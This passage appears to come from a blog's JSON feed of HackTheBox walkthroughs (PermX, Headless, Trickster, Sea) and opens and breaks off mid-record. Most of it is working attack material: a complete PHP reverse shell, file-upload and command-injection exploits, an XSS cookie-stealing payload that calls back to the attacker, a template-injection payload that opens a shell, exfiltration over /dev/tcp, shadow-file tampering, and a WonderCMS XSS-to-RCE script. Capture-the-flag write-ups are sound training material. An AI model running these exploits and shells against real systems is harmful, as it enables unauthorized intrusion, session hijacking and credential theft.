(function_exists(\u0026#39;pcntl_fork\u0026#39;)) { $pid = pcntl_fork(); if ($pid == -1) { printit(\u0026#34;ERROR: Can\u0026#39;t fork\u0026#34;); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit(\u0026#34;Error: Can\u0026#39;t setsid()\u0026#34;); exit(1); } $daemon = 1; } else { printit(\u0026#34;WARNING: Failed to daemonise. This is quite common and not fatal.\u0026#34;); } chdir(\u0026#34;/\u0026#34;); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit(\u0026#34;$errstr ($errno)\u0026#34;); exit(1); } $descriptorspec = array( 0 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;r\u0026#34;), 1 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;), 2 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;) ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(\u0026#34;ERROR: Can\u0026#39;t spawn shell\u0026#34;); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(\u0026#34;Successfully opened reverse shell to $ip:$port\u0026#34;); while (1) { if (feof($sock)) { printit(\u0026#34;ERROR: Shell connection terminated\u0026#34;); break; } if (feof($pipes[1])) { printit(\u0026#34;ERROR: Shell process terminated\u0026#34;); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(\u0026#34;SOCK READ\u0026#34;); $input = fread($sock, $chunk_size); if ($debug) printit(\u0026#34;SOCK: $input\u0026#34;); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(\u0026#34;STDOUT READ\u0026#34;); $input = fread($pipes[1], $chunk_size); if ($debug) printit(\u0026#34;STDOUT: $input\u0026#34;); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(\u0026#34;STDERR READ\u0026#34;); $input = fread($pipes[2], $chunk_size); if ($debug) printit(\u0026#34;STDERR: $input\u0026#34;); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print \u0026#34;$string\\n\u0026#34;; } } ?\u0026gt; Start a listener for the reverse shell:\nnc -lvnp 9001 Upload PHP Reverse Shell:\ncurl -F \u0026#39;bigUploadFile=@rce.php\u0026#39; \u0026#39;http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported\u0026#39; Invoke the Uploaded Shell:\ncurl \u0026#39;http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php\u0026#39; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Database Enumeration Navigate to the Chamilo LMS directory and look for the configuration.php file, which may contain database credentials.\ncd /var/www/chamilo find ./ -type f -name \u0026#34;configuration.php\u0026#34; -exec ls -l {} \\; Extract database credentials from the configuration file:\ncat ./app/config/configuration.php | grep \u0026#34;db_\u0026#34; Privilege Escalation SSH into the Server: Log in using mtz credentials (if found in the database):\nssh mtz@permx.htb Check Sudo Permissions: Check what mtz can run with sudo:\nsudo -l Output:\n(ALL : ALL) NOPASSWD: /opt/acl.sh Exploit ACL Script for Privilege Escalation:\nThe script /opt/acl.sh can be used to manipulate file permissions. Create a symbolic link to /etc/shadow, the file storing password hashes, and manipulate its permissions.\nln -s /etc/shadow /home/mtz/shadow sudo /opt/acl.sh mtz xrw /home/mtz/shadow Edit the shadow file with nano to replace the root password hash with one you control.\nnano /home/mtz/shadow Gain Root Access: After editing the shadow file, you can switch to the root user using su:\nsu cat /root/root.txt Summary PermX: use CVE-2023-4220 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-PermX/","protected":null,"snippet":"PermX: use CVE-2023-4220 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2023-4220"],"title":"HackTheBox PermX Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.8 headless.htb Script to add hosts automatically ip=\u0026#34;10.10.11.8\u0026#34; domain=\u0026#34;headless.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV headless.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-21 18:38 CEST Nmap scan report for headless.htb (10.10.11.8) Host is up (0.057s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA) |_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519) 5000/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2) |_http-title: Under Construction |_http-server-header: Werkzeug/2.2.2 Python/3.11.2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Port 22: SSH Port 5000: Werkzeug HTTP server (Python-based) Useful URLs:\nhttp://headless.htb:5000/ http://headless.htb:5000/support Exploiting XSS echo \u0026#34;\\nstart listening from the server\\n python -m http.server 5000\\nWait until the response appear\u0026#34; read vpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) payload=\u0026#39;\u0026lt;script\u0026gt;var i=new Image(); i.src=\u0026#34;http://\u0026#39;$vpnip\u0026#39;:5000/?cookie=\u0026#34;+btoa(document.cookie);\u0026lt;/script\u0026gt;\u0026#39; curl -v -s \u0026#39;http://headless.htb:5000/support\u0026#39; -X POST -H \u0026#39;User-Agent: \u0026#39;$payload\u0026#39;\u0026#39; \\ -H \u0026#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8\u0026#39; \\ -H \u0026#39;Accept-Language: en-US,en;q=0.5\u0026#39; -H \u0026#39;Accept-Encoding: gzip, deflate\u0026#39; -H \u0026#39;Content-Type: application/x-www-form-urlencoded\u0026#39; \\ -H \u0026#39;Origin: http://headless.htb:5000\u0026#39; -H \u0026#39;DNT: 1\u0026#39; -H \u0026#39;Sec-GPC: 1\u0026#39; -H \u0026#39;Connection: keep-alive\u0026#39; \\ -H \u0026#34;Content-Length: 112\u0026#34; \\ -H \u0026#39;Referer: http://headless.htb:5000/support\u0026#39; \\ -H \u0026#39;Cookie: is_admin=\u0026#39;$(curl -sD - http://headless.htb:5000/ | grep -oP \u0026#39;(?\u0026lt;=is_admin=)[^;]+\u0026#39;)\u0026#39;\u0026#39; \\ -H \u0026#39;Upgrade-Insecure-Requests: 1\u0026#39; -H \u0026#39;Priority: u=0, i\u0026#39; \\ --data-raw \u0026#39;fname=test\u0026amp;lname=test\u0026amp;email=test%40headless.htb\u0026amp;phone=0000000000\u0026amp;message=%3Cscript%3Ealert %281%29%3C%2Fscript%3E\u0026#39; Wait for the message: \u0026quot;GET /?cookie=\u0026quot;. After retrieving the cookie, you can close the listener.\nRemote Code Execution (RCE) echo -en \u0026#34;\\n1st start a listeners\\n nc -lvnp 9001\\n Admin Coockie Base64 -\u0026gt;\u0026#34; read coockie coockiedecrypted=$(echo $coockie | base64 -d) vpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) curl -sS \u0026#39;http://headless.htb:5000/dashboard\u0026#39; -X POST \\ -H \u0026#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0\u0026#39; \\ -H \u0026#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8\u0026#39; \\ -H \u0026#39;Accept-Language: en-US,en;q=0.5\u0026#39; -H \u0026#39;Accept-Encoding: gzip, deflate\u0026#39; -H \u0026#39;Content-Type: application/x-www-form-urlencoded\u0026#39; \\ -H \u0026#39;Origin: http://headless.htb:5000\u0026#39; -H \u0026#39;DNT: 1\u0026#39; -H \u0026#39;Sec-GPC: 1\u0026#39; -H \u0026#39;Connection: keep-alive\u0026#39; \\ -H \u0026#39;Referer: http://headless.htb:5000/dashboard\u0026#39; \\ -H \u0026#39;Cookie: \u0026#39;$coockiedecrypted\u0026#39;\u0026#39; \\ -H \u0026#39;Upgrade-Insecure-Requests: 1\u0026#39; -H \u0026#39;Priority: u=0, i\u0026#39; \\ --data-raw \u0026#39;date=2023-09-15;nc+\u0026#39;$vpnip\u0026#39;+9001+-e+/bin/bash\u0026#39; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Privilege Escalation After running sudo -l, you may notice the following:\n(ALL) NOPASSWD: /usr/bin/syscheck This means you can run /usr/bin/syscheck with sudo privileges. To exploit this, follow these steps:\nCheck the content of /usr/bin/syscheck:\ncat /usr/bin/syscheck Exploit the script:\ncd /tmp echo -e \u0026#39;#!/bin/bash\\n/bin/bash\u0026#39; \u0026gt; /tmp/initdb.sh chmod +x /tmp/initdb.sh sudo /usr/bin/syscheck You should now have root access. Display the root flag:\nid cat /root/root.txt Summary Headless: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-09-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Headless/","protected":null,"snippet":"Headless: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Headless Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.34 trickster.htb shop.trickster.htb Script to add hosts automatically ip=\u0026#34;10.10.11.34\u0026#34;;domain=\u0026#34;trickster.htb shop.trickster.htb\u0026#34; sudo grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV trickster.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-21 21:16 CEST Nmap scan report for trickster.htb (10.10.11.34) Host is up (0.059s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA) |_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: 403 Forbidden Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel CVE-2024-34716 (PrestaShop) git clone https://github.com/aelmokhtar/CVE-2024-34716 cd CVE-2024-34716 vpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) python3 exploit.py --url \u0026#39;http://shop.trickster.htb\u0026#39; --email \u0026#39;adam@trickster.htb\u0026#39; --local-ip $vpnip --admin-path \u0026#39;admin634ewutrx1gitlooaj\u0026#39; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Find Database Credentials timeout 1 find /var/www -type f -name \u0026#34;*.php\u0026#34; -exec grep -Hn \u0026#39;database_\u0026#39; {} \\; 2\u0026gt;/dev/null Use the found credentials to access the MySQL database:\nmysql -h 127.0.0.1 -u \u0026lt;user\u0026gt; -p Inside MySQL:\nUSE prestashop; SELECT id_employee, email, passwd FROM ps_employee; Brute Force the Hash Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.\necho -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat -m 3200 /tmp/hash.txt --show rm -rf /tmp/hash.txt SSH Access After cracking the password, use it to SSH:\nssh james@trickster.htb Ping Sweep for Active Hosts You may discover a container at 172.17.0.1 by checking network interfaces. Perform a ping sweep to identify active hosts:\nsubnet=\u0026#34;172.17\u0026#34; ( for i in {0..255}; do for j in {1..254}; do ip=\u0026#34;$subnet.$i.$j\u0026#34; (ping -c 1 -W 1 $ip \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; echo \u0026#34;Host $ip is up\u0026#34;) \u0026amp; done done wait ) You should find 172.17.0.2.\nScan Ports of 172.17.0.2 Scan the ports:\nnc -zv 172.17.0.2 1-65535 2\u0026gt;\u0026amp;1 | grep succeeded If nc isn\u0026rsquo;t available, use the bash alternative:\n( for port in {1..65535}; do (echo \u0026gt; /dev/tcp/172.17.0.2/$port) \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; echo \u0026#34;Port $port is open\u0026#34; \u0026amp; done ) Port 5000 is open.\nForward Port 5000 for Local Access ssh -L 5000:172.17.0.2:5000 james@trickster.htb CVE-2024-32651 (Change.io Exploit) Log in to Change.io using James\u0026rsquo; credentials.\nHost a Python HTTP server:\npython -m http.server Set up a listener for the reverse shell:\nnc -lvnp 9001 Replace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\nCreate a new \u0026ldquo;watch\u0026rdquo; on http://vpn-ip:8000. In the notification settings:\nNotification URL:\ngets:// Notification Body:\nReplace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\n{% for x in ().__class__.__base__.__subclasses__() %} {% if \u0026#34;warning\u0026#34; in x.__name__ %} {{ x()._module.__builtins__[\u0026#39;__import__\u0026#39;](\u0026#39;os\u0026#39;).popen(\u0026#34;python3 -c \u0026#39;import os,pty,socket;s=socket.socket();s.connect((\\\u0026#34;vpn-ip\\\u0026#34;,9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\\u0026#34;/bin/bash\\\u0026#34;)\u0026#39;\u0026#34;).read() }} {% endif %} {% endfor %} To trigger the watch, create a file in the HTTP server:\ntouch file Visit the Change.io main page and manually retrigger the watcher by clicking the retrigger option.\nPrivEsc To retrieve a backup file from the target, set up a listener on your local machine using nc. This will allow you to receive the file when it’s sent from the target.\nnc -lvnp 4445 \u0026gt; changedetection-bak.zip On the target machine, use the following command to send the backup file to your local machine through the open listener.\ncat /datastore/Backups/changedetection-backup-20240830194841.zip \u0026gt; /dev/tcp/vpn-ip/4445 After receiving the file, close the listener and extract the contents of the zip file. Use brotli to decompress any .br files you find and then read their contents.\nunzip changedetection-bak.zip brotli -d b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br cat ./b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt Within the extracted file, you will find the credentials for the user adam:\nadam:adam_admin992 To gain access to the target, log in as adam:\nsu adam Next, check the sudo privileges available to the adam user to see what commands can be executed with elevated permissions.\nsudo -l You should see output indicating that adam can run PrusaSlicer with elevated privileges without needing to provide a password:\nUser adam may run the following commands on trickster: (ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer This means you can exploit the application by running sudo /opt/PrusaSlicer/prusaslicer without needing a password.\nCVE-2023-47268 (PrusaSlicer) https://www.exploit-db.com/exploits/51983\nYou can exploit the .3mf file by copying it via scp, modifying Slic3r_PE.config to add chmod u+s /bin/bash, repacking it, and uploading it back to the target for execution with PrusaSlicer to gain root privileges.\nscp adam@trickster.htb:/opt/PrusaSlicer/TRICKSTER.3mf Trickster.3mf unzip Trickster.3mf Metadata/Slic3r_PE.config -d ./tmp sed -i \u0026#39;s/^.*post_process.*/; post_process = \u0026#34;chmod u+s \\/bin\\/bash\u0026#34;/\u0026#39; ./tmp/Metadata/Slic3r_PE.config sed -i \u0026#39;s/^.*output_filename_format.*/; output_filename_format = exploit.gcode/\u0026#39; ./tmp/Metadata/Slic3r_PE.config cd ./tmp zip -r -Z deflate ../Trickster.3mf ./* cd .. rm -rf ./tmp scp Trickster.3mf adam@trickster.htb:/tmp/ rm -rf Trickster.3mf Trickster.3mf On the target machine, execute PrusaSlicer with the modified file:\nsudo /opt/PrusaSlicer/prusaslicer -s /tmp/Trickster.3mf bash -p At this point, you should have elevated privileges and can access sensitive files such as /root/root.txt.\ncat /root/root.txt Summary Trickster: use CVE-2023-47268 and CVE-2024-32651 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Trickster/","protected":null,"snippet":"Trickster: use CVE-2023-47268 and CVE-2024-32651 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2023-47268","cve-2024-32651","cve-2024-34716"],"title":"HackTheBox Trickster Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.28 sea.htb Script to add hosts automatically ip=\u0026#34;10.10.11.28\u0026#34; domain=\u0026#34;sea.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV sea.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 21:56 CEST Nmap scan report for sea.htb (10.10.11.28) Host is up (0.053s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http-proxy HAProxy http proxy 2.0.0 or later |_http-open-proxy: Proxy might be redirecting requests |_http-title: Did not follow redirect to http://sea.htb 8080/tcp open http Jetty |_http-title: GitBucket Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel Enumeration ffuf -u http://sea.htb/FUZZ -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-medium-files.txt -mc 200,301,302,401,402,403 Result\nindex.php [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 54ms] contact.php [Status: 200, Size: 2731, Words: 821, Lines: 119, Duration: 47ms] .htaccess [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms] . [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 46ms] .html [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms] .php [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms] .htpasswd [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 46ms] .htm [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms] .htpasswds [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms] .htgroup [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms] wp-forum.phps [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms] .htaccess.bak [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms] .htuser [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 44ms] .ht [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms] .htc [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms] Copy of index.html [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 45ms] CVE-2023-41425 WonderCMS XSS to RCE\n#!/bin/python import os import shutil import zipfile import argparse import subprocess red = \u0026#39;\\033[31m\u0026#39; green = \u0026#39;\\033[32m\u0026#39; blue = \u0026#39;\\033[34m\u0026#39; yellow = \u0026#39;\\033[93m\u0026#39; reset = \u0026#39;\\033[0m\u0026#39; def get_tun0_ip(): \u0026#34;\u0026#34;\u0026#34;Fetch the tun0 IP address.\u0026#34;\u0026#34;\u0026#34; try: tun0_ip = subprocess.check_output(\u0026#34;ip -4 addr show tun0 | grep -oP \u0026#39;(?\u0026lt;=inet\\\\s)\\\\d+(\\\\.\\\\d+){3}\u0026#39;\u0026#34;, shell=True) return tun0_ip.decode().strip() except subprocess.CalledProcessError: return None def arguments(): global args parser = argparse.ArgumentParser() parser.add_argument( \u0026#39;-u\u0026#39;, \u0026#39;--url\u0026#39;, required=True, help=\u0026#39;Enter the URL where the WonderCMS loginURL is located. e.g.: http://example.com/loginURL\u0026#39; ) parser.add_argument( \u0026#39;-i\u0026#39;, \u0026#39;--ip\u0026#39;, required=True, help=\u0026#39;Attacker IP address. e.g.: -i 127.0.0.1\u0026#39; ) parser.add_argument( \u0026#39;-p\u0026#39;, \u0026#39;--port\u0026#39;, required=True, help=\u0026#39;Listening port. e.g.: -p 4444\u0026#39; ) parser.add_argument( \u0026#39;-r\u0026#39;, \u0026#39;--remote-host\u0026#39;, default=None, help=\u0026#39;Specify the remote host where the main.zip file containing the compressed reverse shell is hosted: e.g.: http://192.168.0.23:8000/main.zip\u0026#39; ) args = parser.parse_args() if args.remote_host is None: tun0_ip = get_tun0_ip() if tun0_ip: args.remote_host = f\u0026#34;http://{tun0_ip}:8000/main.zip\u0026#34; print(f\u0026#34;[*] Using tun0 IP for remote host: {args.remote_host}\u0026#34;) else: print(\u0026#34;[!] tun0 IP address could not be determined. Please specify the remote host manually.\u0026#34;) exit(1) def createData( url, ip, port, remote_host ): data = f\u0026#39;\u0026#39;\u0026#39; var url = \u0026#34;{ url }\u0026#34;; if (url.endsWith(\u0026#34;/\u0026#34;)) {{ url = url.slice(0, -1); }} var urlWithoutLog = url.split(\u0026#34;/\u0026#34;).slice(0, -1).join(\u0026#34;/\u0026#34;); var urlObj = new URL(urlWithoutLog); var urlWithoutLogBase = urlObj.origin + \u0026#39;/\u0026#39;; var token = document.querySelectorAll(\u0026#39;[name=\u0026#34;token\u0026#34;]\u0026#39;)[0].value; var urlRev = urlWithoutLogBase + \u0026#34;/?installModule={ remote_host }\u0026amp;directoryName=violet\u0026amp;type=themes\u0026amp;token=\u0026#34; + token; var xhr3 = new XMLHttpRequest(); xhr3.withCredentials = true; xhr3.open(\u0026#34;GET\u0026#34;, urlRev); xhr3.send(); xhr3.onload = function() {{ if (xhr3.status == 200) {{ var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; xhr4.open(\u0026#34;GET\u0026#34;, urlWithoutLogBase + \u0026#34;/themes/revshell-main/rev.php\u0026#34;); xhr4.send(); xhr4.onload = function() {{ if (xhr4.status == 200) {{ var ip = \u0026#34;{ ip }\u0026#34;; var port = \u0026#34;{ port }\u0026#34;; var xhr5 = new XMLHttpRequest(); xhr5.withCredentials = true; xhr5.open(\u0026#34;GET\u0026#34;, urlWithoutLogBase + \u0026#34;/themes/revshell-main/rev.php?lhost=\u0026#34; + ip + \u0026#34;\u0026amp;lport=\u0026#34; + port); xhr5.send(); }} }}; }} }}; \u0026#39;\u0026#39;\u0026#39; return data def createFileXSS( data ): try: with open( \u0026#34;xss.js\u0026#34;, \u0026#34;w\u0026#34; ) as f: f.write( data ) except: print(\u0026#39;\\n[!] An error occurred while trying to write the file!\u0026#39;) def createRevPHP(): reverse_shell_code = \u0026#39;\u0026#39;\u0026#39;\u0026lt;?php set_time_limit(0); $VERSION = \u0026#34;1.0\u0026#34;; $ip = \u0026#39;127.0.0.1\u0026#39;; $port = 1234; if (isset($_GET[\u0026#39;lhost\u0026#39;]) \u0026amp;\u0026amp; filter_var($_GET[\u0026#39;lhost\u0026#39;], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { $ip = $_GET[\u0026#39;lhost\u0026#39;]; } if (isset($_GET[\u0026#39;lport\u0026#39;]) \u0026amp;\u0026amp; (int)$_GET[\u0026#39;lport\u0026#39;] \u0026gt; 0 \u0026amp;\u0026amp; (int)$_GET[\u0026#39;lport\u0026#39;] \u0026lt; 65536) { $port = (int)$_GET[\u0026#39;lport\u0026#39;]; } $chunk_size = 1400; $write_a = null; $error_a = null; $shell = \u0026#39;uname -a; w; id; /bin/sh -i\u0026#39;; $daemon = 0; $debug = 0; if (function_exists(\u0026#39;pcntl_fork\u0026#39;)) { $pid = pcntl_fork(); if ($pid == -1) { printit(\u0026#34;ERROR: Can\u0026#39;t fork\u0026#34;); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit(\u0026#34;Error: Can\u0026#39;t setsid()\u0026#34;); exit(1); } $daemon = 1; } else { printit(\u0026#34;WARNING: Failed to daemonise. This is quite common and not fatal.\u0026#34;); } chdir(\u0026#34;/\u0026#34;); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit(\u0026#34;$errstr ($errno)\u0026#34;); exit(1); } $descriptorspec = array( 0 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;r\u0026#34;), 1 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;), 2 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;) ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(\u0026#34;ERROR: Can\u0026#39;t spawn shell\u0026#34;); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(\u0026#34;Successfully opened reverse shell to $ip:$port\u0026#34;); while (1) { if (feof($sock)) { printit(\u0026#34;ERROR: Shell connection terminated\u0026#34;); break; } if (feof($pipes[1])) { printit(\u0026#34;ERROR: Shell process terminated\u0026#34;); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(\u0026#34;SOCK READ\u0026#34;); $input = fread($sock, $chunk_size); if ($debug) printit(\u0026#34;SOCK: $input\u0026#34;); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(\u0026#34;STDOUT READ\u0026#34;); $input = fread($pipes[1], $chunk_size); if ($debug) printit(\u0026#34;STDOUT: $input\u0026#34;); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(\u0026#34;STDERR READ\u0026#34;); $input = fread($pipes[2], $chunk_size); if ($debug) printit(\u0026#34;STDERR: $input\u0026#34;); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit($string) { print \u0026#34;$string\\n\u0026#34;; } \u0026#39;\u0026#39;\u0026#39; if os.path.exists(\u0026#39;main.zip\u0026#39;): print(yellow,\u0026#34;\\n[+] main.zip already exists. No further action required.\u0026#34;, reset) return print(yellow,\u0026#34;\\n[*] Creating \u0026#39;revshell-main\u0026#39; directory and placing rev.php...\u0026#34;, reset) os.makedirs(\u0026#39;revshell-main\u0026#39;, exist_ok=True) with open(os.path.join(\u0026#39;revshell-main\u0026#39;, \u0026#39;rev.php\u0026#39;), \u0026#39;w\u0026#39;) as f: f.write(reverse_shell_code) print(yellow,\u0026#34;[+] revshell-main/rev.php created with reverse shell code.\u0026#34;, reset) print(yellow,\u0026#34;[*] Compressing \u0026#39;revshell-main\u0026#39; into \u0026#39;main.zip\u0026#39;...\u0026#34;, reset) with zipfile.ZipFile(\u0026#39;main.zip\u0026#39;, \u0026#39;w\u0026#39;) as zipf: for root, dirs, files in os.walk(\u0026#39;revshell-main\u0026#39;): for file in files: zipf.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.dirname(\u0026#39;revshell-main\u0026#39;))) print(yellow,\u0026#34;[+] main.zip created successfully.\u0026#34;, reset) print(yellow,\u0026#34;[*] Cleaning up \u0026#39;revshell-main\u0026#39; directory...\u0026#34;, reset) shutil.rmtree(\u0026#39;revshell-main\u0026#39;) print(yellow,\u0026#34;[+] Cleaned up \u0026#39;revshell-main\u0026#39; directory.\\n\u0026#34;, reset) def printInfo(): print(yellow, \u0026#34;\\n[+]The zip file will be downloaded from the host: \u0026#34;, reset, f\u0026#34; { args.remote_host }\u0026#34;) print(yellow, \u0026#34;\\n[+] File created:\u0026#34;, reset,\u0026#34;xss.js\u0026#34;) print(yellow, \u0026#34;\\n[+] Set up nc to listen on your terminal for the reverse shell\u0026#34;) print(\u0026#34;\\tUse:\\n\\t\\t\u0026#34;, reset, red, f\u0026#34;nc -nvlp { args.port }\u0026#34;, reset) link = 